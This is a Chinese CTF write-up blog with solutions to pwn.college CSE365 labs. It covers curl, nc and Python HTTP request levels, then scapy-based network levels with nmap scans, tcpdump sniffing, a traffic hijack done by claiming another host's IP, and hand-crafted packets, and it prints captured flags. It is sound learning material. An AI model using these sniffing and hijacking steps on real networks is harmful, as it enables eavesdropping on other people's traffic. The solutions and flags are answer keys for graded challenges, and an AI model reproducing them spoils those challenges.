CTF-CLASS

一个存了很多WP的地方,我会不断更新这些内容!

我不得不提醒,大多数 CTF 题目的 WP 都是随机而且独立的,也就是说如果你仅仅是复制了我的 WP 然后提交,往往会导致你不能够通过,甚至被平台检测判定为作弊!

CSE365 sp23

官网在这儿,我的目录在这儿,看起来很入门的课,暂时做了一部分,找一段时间把pwn college的东西都做完然后放上来。

  • Talking Web
  • Assembly Crash Course
  • Building a Web Server
  • Reverse Engineering
  • Intercepting Communication
  • Cryptography
  • Web Security
  • Binary Exploitation

Wargame

发现的一个小的安全网站,有几个系列也挺入门,暂时做了bandit

  • bandit
  • Natas
  • Leviathan
  • Krypton
  • Narnia
  • Behemoth
  • Utumno
  • Maze
  • Vortex
  • Manpage
  • Drifter
  • FormulaOne

CSE466 FALL22

  • Program Misuse
  • Program Interaction
  • Assembly Crash Course
  • Shellcode Injection
  • Sandboxing
  • Debugging Refresher
  • Reverse Engineering
  • Memory Errors
  • Race Conditions
  • Kernel Security
  • Program Exploitation
  • System Exploitation

MalwareAnalysis

《恶意代码分析实战》一书阅读。

  • CH/Lab1
  • CH2
  • CH/Lab3
  • CH/Lab4
  • CH/Lab5
  • CH/Lab6
  • CH/Lab7
  • CH/Lab8
  • CH/Lab9
  • CH/Lab10
  • CH/Lab11
  • CH/Lab12
  • CH/Lab13
  • CH/Lab14
  • CH/Lab15
  • CH/Lab16
  • CH/Lab17
  • CH/Lab18
  • CH/Lab19
  • CH/Lab20
  • CH/Lab21

TODO-LIST

  • CSE 494 sp23
    • Return Oriented Programming
    • Format String Exploits
    • File Struct exploits
    • Dynamic Allocator Misuse
    • Exploitation Primitives and Memory Mastery
    • Dynamic Allocator Exploitation
    • Microarchitecture Exploitation

CSE365

sp23,不得不说pwn college真是精品网站,题目很丰富,质量也还不错,入门、进阶都有,而且提供的靶场非常良心!在我一大通瞎搞之后,空间居然还这么大!

Filesystem      Size  Used Avail Use% Mounted on
overlay         916G  169G  701G  20% /
tmpfs            64M     0   64M   0% /dev
tmpfs           126G     0  126G   0% /sys/fs/cgroup
overlay         916G  169G  701G  20% /usr/sbin/docker-init
/dev/loop79     982M  557M  360M  61% /home/hacker
/dev/sdc2       916G  169G  701G  20% /etc/hosts
shm              64M     0   64M   0% /dev/shm
tmpfs           126G     0  126G   0% /proc/acpi
tmpfs           126G     0  126G   0% /proc/scsi
tmpfs           126G     0  126G   0% /sys/firmware

而且主目录持久保存,真是爱了!

模块总结

talking web

这个模块比较简单,就是让你熟练使用curl、nc、python来进行http包的发送,是比较基础的。但是可以都记录下来这些内容,以便日后查阅。

intercepting communication

这个模块涉及到了计算机网络的四层网络结构,还算是有点意思吧,大多数所需要的知识其实如果学过计算机网络这门课本身的话,都是最最浅显的。不过这个模块的意义就在于学习一下arp,ip,scapy怎么用,看看这些知识是怎么应用的,最后一个题有些困难,我在看了解答之后也是问了一个学了CTF的同学才搞定,G

主要是scapy的学习资料有点儿少,我搜了不少也没搜到最后一个特别相关的,不过相信在写完这些挑战之后对scapy和计算机网络的理解会有一定加深的。

讲解

YOUTUBE上pwn college上传了老师的讲解,大多数很细致,少部分没有完成给出过程,但都有思路,需要自己去实现。其实在实现了之后发现也就是这么回事儿,但是思考的过程有时候是痛苦的。

友链

另一位搞安全的盆友的博客

knoeledge

重点是http 请求报文,这部分不太涉及响应报文 一个 http 请求报文由四个部分组成:

  1. 请求行(Request-Line)
  2. 请求头部(Request Header Fields)
  3. 回车换行(CRLF)
  4. 消息体(Message Body)

请求行(Request-Line)

我们来看一开始给的示例的请求行

POST / HTTP/1.1

请求行分为了三个部分:

  1. 请求方法(Method)
  2. 请求 URI
  3. HTTP 协议版本 三者之间用空格分隔。

请求方法

  • GET:获取资源
  • POST:传输实体主体
  • PUT:传输文件
  • HEAD:获得报文首部(相当于GET方法获得的资源去掉正文)
  • DELETE:删除文件
  • OPTIONS:询问支持的方法(客户端问服务器)
  • TRACE:追踪路径
  • OCONNECT:要求用隧道协议连接代理
  • LINK:建立与资源之间的联系
  • UNLINE:断开连接关系

请求头部(Request Header Fields)

这部分由成对的请求头部组成,用来告知服务端请求的更多信息。

这是未来的重中之重!务必掌握!

  • Host :请求的资源在哪个主机的端口上
  • Connection:该请求支持长连接(heep_alive)
  • Content-Length:正文内容长度
  • Content-Type:数据类型
  • User-Agent:声明用户的操作系统和浏览器版本信息
  • Accent:发起了请求
  • Referer:当前页面是从哪个页面跳转过来的
  • Accept-Encoding:接受的编码
  • Accept-Language:接受的语言类型
  • Cookie:用于在客户端存储少量信息,通常用于实现会话(session)功能

消息体(Message Body)

这部分携带了本次请求需要发往服务端的信息,有的 Method 有这部分,而有的 Method 不需要这部分。

比如 get 方法就没有消息体,get 方法一般都是通过 query 来传递参数。

而 post 方法一般就有消息体。

请求头部具体信息

ref

Useful cmd

/challenge/run

Output:

hacker@talking-web-level-12:~$ /challenge/run
 * Serving Flask app 'run'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:80
Press CTRL+C to quit

行吧,这一大堆挑战,倒是让我把curl nc这俩玩意儿玩儿熟了。。。

level1

Send an HTTP request using curl

curl http://127.0.0.1:80

level2

Send an HTTP request using nc

printf "GET / HTTP/1.1\r\n\r\n" | nc 127.0.0.1 80

ref

a blog

level3

Send an HTTP request using python

import requests

response = requests.get('http://127.0.0.1:80')
print(response.content)

level4

Set the host header in an HTTP request using curl

curl -H 'Host: f04e757423e4172f7391a2c52dd6d52b' http://127.0.0.1:80

level5

Set the host header in an HTTP request using nc

echo -e "GET / HTTP/1.1\r\nHost: e87665191d938ed557e6d75bed2a59e7\r\n\r\n" | nc 127.0.0.1 80

level6

Set the host header in an HTTP request using python

import requests

url = 'http://127.0.0.1:80'
headers = {'Host': '37ae8c34ce6b69de03c0514664f1de72'}
response = requests.get(url, headers=headers)

print(response.text)

level7

Set the path in an HTTP request using curl

curl http://127.0.0.1:80/32edfeba32e2616897b6a4907182e609

level8

Set the path in an HTTP request using nc

printf "GET /a2ef4bee2f651380996e3e91ec9ae47b HTTP/1.1\r\n\r\n" | nc 127.0.0.1 80

level9

Set the path in an HTTP request using python

import requests

url = 'http://127.0.0.1:80/563d4434a61e9b4f8aad9f89476f9d56'
headers = {'Host': '37ae8c34ce6b69de03c0514664f1de72'}
response = requests.get(url, headers=headers)

print(response.text)

level10

URL encode a path in an HTTP request using curl

curl --request GET --url 'http://127.0.0.1/5db90f90%20c57f0931/898c7a05%207a6a6c70'

level11

URL encode a path in an HTTP request using nc

echo -ne "GET /c84632a0%203d7cd667/cc68c4e5%205289cce4 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80

level12

URL encode a path in an HTTP request using python

import http.client

conn = http.client.HTTPConnection("127.0.0.1", 80)
path = '/24f18995%2035ce2423/0dc75e53%20a62355c0'
conn.request("GET", path)
response = conn.getresponse()

print(response.read().decode())

level13

Specify an argument in an HTTP request using curl

curl -X GET "http://127.0.0.1?a=d12e875e302a313b93e311080177c69e"

level14

Specify an argument in an HTTP request using nc

echo -ne "GET /?a=2469a7322bdff77e7cf50f7a397ecf1e HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80

level15

Specify an argument in an HTTP request using python

import http.client

conn = http.client.HTTPConnection("127.0.0.1", 80)
params = 'a=70206814776ee99485d36f75416cc53e'
conn.request("GET", "/?" + params)
response = conn.getresponse()

print(response.read().decode())

or

import requests

url = 'http://127.0.0.1/?a=2469a7322bdff77e7cf50f7a397ecf1e'
response = requests.get(url)

print(response.text)

level16

Specify multiple arguments in an HTTP request using curl

curl -X GET "http://127.0.0.1?a=ecd147484bddde7d37b1911de43a8879&b=40d9af5c%20d0b5b669%266fea1792%23e808fb58"

level17

Specify multiple arguments in an HTTP request using nc

echo -ne "GET /?a=5d723fd68383a9c49eb60b0633069601&b=164073f7%207871c6b5%26b94dd88d%23977ae717 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80

level18

Specify multiple arguments in an HTTP request using python

import requests

url = 'http://127.0.0.1/?a=4ce9272291b7199073124105d91e05b8&b=56eb0b42%204ae6359b%26f16e873e%2313ac55ab'
response = requests.get(url)

print(response.text)

level19

Include form data in an HTTP request using curl

curl -X POST -d "a=aa62a14fe954e109fd0afd6a6b81ae87&b=123" "http://127.0.0.1/"

level20

Include form data in an HTTP request using nc

echo -ne "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 64\r\n\r\na=0f4e8daf3fc9d8aa6a59af8b111cd9b6" | nc 127.0.0.1 80

level21

Include form data in an HTTP request using python

import requests

url = 'http://127.0.0.1/'
data = {'a': '728301dd59f5157a45b164530cd4bd9a'}
response = requests.post(url, data=data)

print(response.text)

level22

Include form data with multiple fields in an HTTP request using curl

curl -X POST -d "a=6d2e619d8691e29c605eacecff1d17f5&b=40f3c192%204a42b9c8%26042940eb%23ce8b5cc9" "http://127.0.0.1/"

level23

Include form data with multiple fields in an HTTP request using nc

echo -ne "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 78\r\n\r\na=7bd29b83c57c2e3a0c9f0387fabea724&b=20c245cf%2075d26cf5%26100f8c42%23d1702767" | nc 127.0.0.1 80

level24

Include form data with multiple fields in an HTTP request using python

import requests

url = 'http://127.0.0.1/'
data = {'a': 'db865b3bfd0d2e5ffa0c112dc700ddb9','b':'d7d3ad1a edee631b&eba293d5#d6e4cf79'}
response = requests.post(url, data=data)

print(response.text)

level25

Include json data in an HTTP request using curl

curl -X POST -H "Content-Type: application/json" -d '{"a": "e1d94af35f929e364d037ca78f5dbfa0"}' http://127.0.0.1/

level26

Include json data in an HTTP request using nc

data='{"a": "95a77ed287428e0fbc550158d061c07c"}'
length=$(echo -n "$data" | wc -c)
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$length" "$data" | nc 127.0.0.1 80

level27

Include json data in an HTTP request using python

import requests
import json

url = "http://127.0.0.1"
data = {'a': "98f37a6b119aec9d10b6a7de1934c9ca"}
json_data = json.dumps(data)

headers = {'Content-Type': 'application/json'}

response = requests.post(url, data=json_data, headers=headers)

print(response.text)

level28

Include complex json data in an HTTP request using curl

curl -X POST -H "Content-Type: application/json" -d '{"a": "39a0e409bba714d0ffe73ce038cb7b3a", "b": {"c": "930862ea", "d": ["c6a605f0", "c7ad7398 3fbbb9dc&458f3441#25f76ea0"]}}' http://127.0.0.1/

level29

Include complex json data in an HTTP request using nc

data='{"a": "b7ae4afbfd6f78ad7ab06f1203ece1be","b":{"c": "0ce40827", "d": ["fb1739d2", "5cde3361 bfdb9003&a42c27d5#f291d8c2"]}}'
length=$(echo -n "$data" | wc -c)
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$length" "$data" | nc -q 0 127.0.0.1 80

level30

Include complex json data in an HTTP request using python

import requests
import json

url = "http://127.0.0.1"
data = {'a': "04c2b7fc38f2a2057ab89b310a7d8311",
    "b":{
        'c': '5ff12d56',
        'd': ['93ca0c53', '9b346607 fa6d6f12&c772efa3#fddc4350']
        }
    }
json_data = json.dumps(data)

headers = {'Content-Type': 'application/json'}

response = requests.post(url, data=json_data, headers=headers)

print(response.text)

level31

Follow an HTTP redirect from HTTP response using curl

curl -L http://127.0.0.1

level32

Follow an HTTP redirect from HTTP response using nc

printf 'GET /fd33eca3350f203a7cc09fa116eaa060 HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n' | nc -w 10 -q 0 127.0.0.1 80

level33

Follow an HTTP redirect from HTTP response using python

import requests

url = 'http://127.0.0.1'
response = requests.get(url, allow_redirects=True)
new_response = requests.get(response.url)
print(new_response.text)

level34

Include a cookie from HTTP response using curl

curl -b "cookie=d2b2eb6ac86abb563027659450780a51" -L -v http://127.0.0.1

level35

Include a cookie from HTTP response using nc

printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: cookie=c1c5e422a53c2b73d080674d417d06fd\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80

level36

Include a cookie from HTTP response using python 貌似题有点儿毛病啊。。。

import requests

url = 'http://127.0.0.1'
cookies = {'cookie_name': 'cookie_value'}
response = requests.get(url, cookies=cookies)

print(response.text)

level37

Include a cookie from HTTP response using curl

curl -c cookies.txt http://127.0.0.1
curl -b cookies.txt -L -v http://127.0.0.1

level38

Include a cookie from HTTP response using nc

好吧这个玩意儿,就是重复运行几遍,就行了,应该写个脚本。。。 我TM手动输了好几遍,我日。。。

printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6MX0.ZLMdXw.VU5O3fTNhAgzX_0GG5B3kRNVZ0M\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6Mn0.ZLMdcQ.Ip32pWs2LPaq23ckcO5TQSjN5Us\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6M30.ZLMdjQ.3QXprUl27h0da-RC0xjx1ZwrLZ0\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80

level39

Include a cookie from HTTP response using python

貌似确实有毛病了

import requests

url = 'http://127.0.0.1'
cookies = {'cookie_name': 'cookie_value'}
response = requests.get(url, cookies=cookies)

print(response.text)

碎碎念,这个nc是真的难用,还是python好用

Knowledge

这一部分是一个极简版的计算机网络的知识。

大概意思是你需要建立一个四层网络模型的概念,然后建立起每一层所使用的协议和数据包都是什么

从下往上依次是这样的:

HTTP---实现功能
TCP---识别进程
IP---识别主机
ARP(ETHER)---物理网卡

然后本部分就是研究以这些包为基础建立起的通讯的一些过程。

实用工具scapy

发包可以看这个

level14需要使用sniff

新增内容:关于scapy的使用,可以看《PYTHON渗透测试实战》一书,里面的讲解还算凑合(重点是面向不会英语的童鞋),同时,对于这一个模块来说,这本书的第一章有一个基础的讲解,可以有个简单的认识。有一门付费课程好像和这本书的内容差不多。

简介

Scapy使用了 类+屈性” 的方法来构造数 据包,在Scapy中每一个网络协议就是一个类,协议中的字段就对应着屈性。只需要实例化一 个协议类, 就可以创建一个该协议类型的数据包。 例如我们要构造一个IP数据包, 可以使用 如下方式。

IP()

对于IP来说, 报应要的屈性就是源地址和目标地址, 这两个屈性在Scapy 中使用参数src和dst来设置。例如我们要构造一个发往 “ 192.168.1.101“ 的1P数据包, 就可 以使用以下语旬。

ip=IP(dst="192.168.1.101")

由于网络中协议数扯众多,因此 Scapy在内部实现了大械的网络协议(DNS、 ARP、IP、TCP、 UDP等)。 人类靠记忆来完成 这个工作是很难的。要想熟练地使用Scapy,大家需要掌握协议的一些基础知识。 另外Scapy也提供了一个可以便捷查看数据包格式的函数ls(),当你不了觥如何为一个IP数据包指定目标地址的时候,就可以使用下面的程序。

from scapy.all import IP,ls
pkt= IP()
ls(pkt)

会看到大概如下的结果 Alt text Scapy采用分层的方式来构造数据包, 通常最底层的协议为Ether, 然后是IP, 再之后是TCP或者UDP。

分层是通过符号“/“实现的。如果一个数据包是由多层协议组合而成的,那么这些协议之间就可以使用”/“分开, 并按照协议由底而上的顺序从左向右排列。例如我们可以使用“Ether()/IP()/TCP()“来构造一个TCP数据包。

from scapy.all import*
pkt=Ether()/IP()/TCP()
ls (pkt)
>>> ls(IP())
version    : BitField  (4 bits)                  = 4               ('4')
ihl        : BitField  (4 bits)                  = None            ('None')
tos        : XByteField                          = 0               ('0')
len        : ShortField                          = None            ('None')
id         : ShortField                          = 1               ('1')
flags      : FlagsField                          = <Flag 0 ()>     ('<Flag 0 ()>')
frag       : BitField  (13 bits)                 = 0               ('0')
ttl        : ByteField                           = 64              ('64')
proto      : ByteEnumField                       = 0               ('0')
chksum     : XShortField                         = None            ('None')
src        : SourceIPField                       = '127.0.0.1'     ('None')
dst        : DestIPField                         = '127.0.0.1'     ('None')
options    : PacketListField                     = []              ('[]')

可以使用lsc()来查看所有可用的函数

raw()可以以字节显示包的内容

>>> raw(IP())
b'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>>

发包

send()函数和sendp()函数。这两个函数的区别在于send()函数是川来发送IP数据包的,而sendp()函数是用来发送Ether数据包的。 >注意,如果这个数据包发送成功,那么下方会有一个“Sent 1 packets“的显示

sr()函数是Scapy的核心, 它的返回值是两个列表, 第一个列表包含收到了应答的数据包 和对应的应答数据包,第二个列表包含未收到应答的数据包。所以可以使用两个列表来保存 srO函数的返回值。

>>> Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", pdst="10.0.0.4")
<Ether  dst=ff:ff:ff:ff:ff:ff type=ARP |<ARP  op=who-has hwsrc=00:0c:29:34:25:34 psrc=10.0.0.3 pdst=10.0.0.4 |>>
>>> ans,nans=sr(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.108.4.148", pdst="10.108.4.134"))
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 1 packets.
........................................................................ans.su..mmar..y........()...........
........................................................................................................................................................................^C
Received 263 packets, got 0 answers, remaining 1 packets
>>> ans,nans=sr(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.108.4.148", pdst="10.108.4.138"))
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 1 packets.
........................................................................................................................................................................................................INFO: DNS RR prematured end (ofs=10, len=10)
.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................INFO: DNS RR prematured end (ofs=10, len=10)
.....^C
Received 806 packets, got 0 answers, remaining 1 packets
>>> ans
<Results: TCP:0 UDP:0 ICMP:0 Other:0>

sniff

这个函数完整的格式为sniff(filter=“”,iface=“any”,pm=f1.mction,count=N)。第1个参数是filter, 可以用来对数据包进行过滤。 例如我们指定只捕获与192.168.1.]有关的数据包, 就可以使用 “host 192.168.1.1 “。

但是这种仅依靠IP地址来过滤的方法有很大的局限性,下面我们介绍一种功能更加完善的 方法。1993年,史蒂文·麦卡内CSteven McCanne)与范·雅各布森(Van Jacobson)在USENIX’93 会议上提出了一种机制一伯克利包过滤(Berkeley Packet Filter, BPF),它采用了一种与自然语言很接近的语法, 利用这种语法构成的字符串可以确定保留哪些数据包以及忽略哪些数 据包。 这种语法很容易理解。例如最简单的空字符串,表示的就是匹配所有数据包,也就是保留 所有的数据包。如果这个字符串不为空,那么只有那些使字符串表达式值为 “真" 的数据包才 会被保留。这种字符串通常由一个或者多个原语所组成,每个原语又由一个标识符(名称或者 数字)组成, 后面跟着一个或者多个限定符。

第2个参数iface川来指定要使用的网卡, 默认为第一块网卡、

第3个参数prn表示对捕获到的数据包进行处理的函数

如果这个函数比较长,也可以定义成回调函数。这个回调函数以接收到的妏据包对象作为唯一的参数,然后再调用sniffi()函数

第4个参数count用来指定监听到数据包的数批, 达到指定的妏扒就会停止监听。例如我 们只希望监听到10个数据包就停止。

其他

tcpdump已经足够好用了,wireshark是更强大的图形化工具,只不过我连那个实验环境总是很卡,所以最后都采取命令行了。

WP

level1 Connect to a remote host

nc 10.0.0.3 31337

level2 Listen for a connection from a remote host

nc -l 31337

level3 Find and connect to a remote host

# 扫描端口nmap -p 31337 10.0.0.0/24
root@ip-10-0-0-2:~# nmap -p 31337 10.0.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-15 22:54 UTC
Nmap scan report for 10.0.0.47
Host is up (0.000090s latency).

PORT      STATE SERVICE
31337/tcp open  Elite
MAC Address: 1A:78:B6:5A:08:A8 (Unknown)

Nmap scan report for 10.0.0.2
Host is up (0.000058s latency).

PORT      STATE  SERVICE
31337/tcp closed Elite

Nmap done: 256 IP addresses (2 hosts up) scanned in 28.46 seconds
root@ip-10-0-0-2:~# nc 10.0.0.2 31337
root@ip-10-0-0-2:~# nc 10.0.0.47 31337
# 出现flag

level4 Find and connect to a remote host on a large network

root@ip-10-0-0-2:~# nmap -p 31337 -T5 10.0.0.0/16
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-15 23:44 UTC
Nmap scan report for 10.0.0.2
Host is up (0.000053s latency).

PORT      STATE  SERVICE
31337/tcp closed Elite

Nmap scan report for 10.0.211.92
Host is up (0.000093s latency).

PORT      STATE SERVICE
31337/tcp open  Elite
MAC Address: D6:5F:9A:28:AE:26 (Unknown)

Nmap done: 65536 IP addresses (2 hosts up) scanned in 2583.60 seconds

# 这个我没啥好办法,感觉时间很长啊。
nc 10.0.211.92 31337

level5 Monitor traffic from a remote host

tcpdump -i any port 31337
# 先这样看一下,发现包是重复的,其中有一个数据包长度为58,推测有用
tcpdump -i any port 31337 -X
# 这会输出具体的十六进制和ascii码
# 然后就得到了具体的包了
01:10:28.660067 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.50004: Flags [P.], seq 1:59, ack 60, win 509, options [nop,nop,TS val 4114781018 ecr 1191307187], length 58
        0x0000:  4500 006e 4d18 4000 4006 d96d 0a00 0002  E..nM.@.@..m....
        0x0010:  0a00 0003 7a69 c354 b6ab 89fa 61ea 4259  ....zi.T....a.BY
        0x0020:  8018 01fd c37f 0000 0101 080a f542 935a  .............B.Z
        0x0030:  4701 e7b3 7077 6e2e 636f 6c6c 6567 657b  G...pwn.college{
        0x0040:  5934 4a50 5173 526d 4367 4e71 636a 6e69  Y4JPQsRmCgNqcjni
        0x0050:  6532 3878 7775 4961 5755 4e2e 644e 6a4e  e28xwuIaWUN.dNjN
        0x0060:  7a4d 444c 3251 6a4d 794d 7a57 7d0a       zMDL2QjMyMzW}.

level6 Monitor slow traffic from a remote host

# 老规矩先看一下
tcpdump -i any port 31337
# 这个题也比较水了,就是每个包只发送其中的一位,然后你等58个包,就凑齐了。
tcpdump -i any port 31337 and src 10.0.0.2 and dst 10.0.0.3 and greater 1 -X

然后输出大概是这样的

01:32:10.535829 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 5:6, ack 6, win 510, options [nop,nop,TS val 4116082894 ecr 1192609080], length 1
        0x0000:  4500 0035 9482 4000 4006 923c 0a00 0002  E..5..@.@..<....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8af feb5 c987  ....zi.j........
        0x0020:  8018 01fe eab4 0000 0101 080a f556 70ce  .............Vp.
        0x0030:  4715 c538 63                             G..8c
01:32:11.537097 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 6:7, ack 7, win 510, options [nop,nop,TS val 4116083896 ecr 1192610081], length 1
        0x0000:  4500 0035 9483 4000 4006 923b 0a00 0002  E..5..@.@..;....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b0 feb5 c988  ....zi.j........
        0x0020:  8018 01fe d6df 0000 0101 080a f556 74b8  .............Vt.
        0x0030:  4715 c921 6f                             G..!o
01:32:12.538387 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 7:8, ack 8, win 510, options [nop,nop,TS val 4116084897 ecr 1192611083], length 1
        0x0000:  4500 0035 9484 4000 4006 923a 0a00 0002  E..5..@.@..:....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b1 feb5 c989  ....zi.j........
        0x0020:  8018 01fe d20a 0000 0101 080a f556 78a1  .............Vx.
        0x0030:  4715 cd0b 6c                             G...l
01:32:13.539649 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 8:9, ack 9, win 510, options [nop,nop,TS val 4116085898 ecr 1192612084], length 1
        0x0000:  4500 0035 9485 4000 4006 9239 0a00 0002  E..5..@.@..9....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b2 feb5 c98a  ....zi.j........
        0x0020:  8018 01fe ca36 0000 0101 080a f556 7c8a  .....6.......V|.
        0x0030:  4715 d0f4 6c                             G...l
01:32:14.540780 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 9:10, ack 10, win 510, options [nop,nop,TS val 4116086899 ecr 1192613085], length 1
        0x0000:  4500 0035 9486 4000 4006 9238 0a00 0002  E..5..@.@..8....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b3 feb5 c98b  ....zi.j........
        0x0020:  8018 01fe c962 0000 0101 080a f556 8073  .....b.......V.s
        0x0030:  4715 d4dd 65                             G...e
01:32:15.541382 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 10:11, ack 11, win 510, options [nop,nop,TS val 4116087900 ecr 1192614086], length 1
        0x0000:  4500 0035 9487 4000 4006 9237 0a00 0002  E..5..@.@..7....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b4 feb5 c98c  ....zi.j........
        0x0020:  8018 01fe bf8e 0000 0101 080a f556 845c  .............V.\
        0x0030:  4715 d8c6 67                             G...g
01:32:16.542597 eth0  Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 11:12, ack 12, win 510, options [nop,nop,TS val 4116088901 ecr 1192615087], length 1
        0x0000:  4500 0035 9488 4000 4006 9236 0a00 0002  E..5..@.@..6....
        0x0010:  0a00 0003 7a69 c06a f4c7 a8b5 feb5 c98d  ....zi.j........
        0x0020:  8018 01fe b9ba 0000 0101 080a f556 8845  .............V.E
        0x0030:  4715 dcaf 65                             G...e

我们就把最后一位拼起来就行了,反正这一步大概有点儿烦,可以写脚本,也可以自己手动复制:(

# 好吧,我脚本没写对,自己手动复制的,尼玛
pwn.college{kNJHOFI1VRpp7QOATsbMSjGQiQp.dRjNzMDL2QjMyMzW}

level7 Hijack traffic from a remote host by configuring your network interface

tcpdump -i any
# 发现10.0.0.4一直在发送请求。这时候我骗它应该就行了。
ip addr add 10.0.0.2/8 dev eth0

然后发现了这些包

listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:07:21.562729 eth0  B   ARP, Request who-has 10.0.0.2 tell 10.0.0.4, length 28
15:07:21.562752 eth0  Out ARP, Reply 10.0.0.2 is-at fa:9a:ce:e8:ef:b2 (oui Unknown), length 28
15:07:21.562833 eth0  In  IP 10.0.0.4.37984 > 10.0.0.2.31337: Flags [S], seq 1279607758, win 64240, options [mss 1460,sackOK,TS val 1986706165 ecr 0,nop,wscale 7], length 0
15:07:21.562843 eth0  Out IP 10.0.0.2.31337 > 10.0.0.4.37984: Flags [R.], seq 0, ack 1279607759, win 0, length 0
15:07:21.639815 lo    In  IP localhost.53883 > 127.0.0.11.domain: 51406+ PTR? 2.0.0.10.in-addr.arpa. (39)
15:07:21.639846 lo    In  IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.639911 lo    In  IP localhost.39242 > 127.0.0.11.domain: 51406+ PTR? 2.0.0.10.in-addr.arpa. (39)
15:07:21.639923 lo    In  IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.640042 lo    In  IP localhost.46035 > 127.0.0.11.domain: 13917+ PTR? 4.0.0.10.in-addr.arpa. (39)
15:07:21.640052 lo    In  IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.640103 lo    In  IP localhost.50224 > 127.0.0.11.domain: 13917+ PTR? 4.0.0.10.in-addr.arpa. (39)

这个R说明reset位:​​​​​​ 表示TCP连接中出现异常必须强制断开连接。例如,一个没有被使用的端口即使发来了连接请求,也无法通信。

然后监听即可

nc -l 31337

这题看了讲解才会,就卡在不知道怎么看这个标志位上,果然知识处处是盲区

然后在你监听以后,就会变成PUSH标志位。

///@TODO: 关于后面的发包,我所有ARP啥的基本上都是发送的广播地址,讲解之中发送给特定地址,没有必要,而且由于我有的关卡住,如果发送给特定的物理网卡,我每次重开挑战都要重新查看,有点儿麻烦。

level8 Manually send an Ethernet packet

主要是使用scapy

>>> sendp(Ether(src="4a:b3:c7:c5:08:7d",dst="ff:ff:ff:ff:ff:ff",type=0xFFFF),iface="eth0")
.
Sent 1 packets.

pwn.college{wl9Wr84duLuF_XsCsoo6EiqhnU3.dZjNzMDL2QjMyMzW}

level9 Manually send an Internet Protocol packet

发IP了

>>> sendp(Ether(src="52:bc:a3:08:14:d1",dst="ff:ff:ff:ff:ff:ff", type=0x0800) / IP(proto=0xFF, src="127.0.0.1",dst="10.0.0.3"), iface="eth0")
.
Sent 1 packets.

pwn.college{c5HrfavanBMm_0po-E47NuCoY2J.ddjNzMDL2QjMyMzW}

level10 Manually send a Transmission Control Protocol packet

>>> sendp(Ether(src="12:af:41:92:01:6f",dst="ff:ff:ff:ff:ff:ff", type=0x0800) / IP(src="127.0.0.1", dst="10.0.0.3", proto=0x06) / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"),
...: iface="eth0")
.
Sent 1 packets.

pwn.college{gSJcnHgB4dNz17jCCuEduVjMEF_.dhjNzMDL2QjMyMzW}


level11 Manually perform a Transmission Control Protocol handshake

sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, seq=31337, flags="S"),iface="eth0")

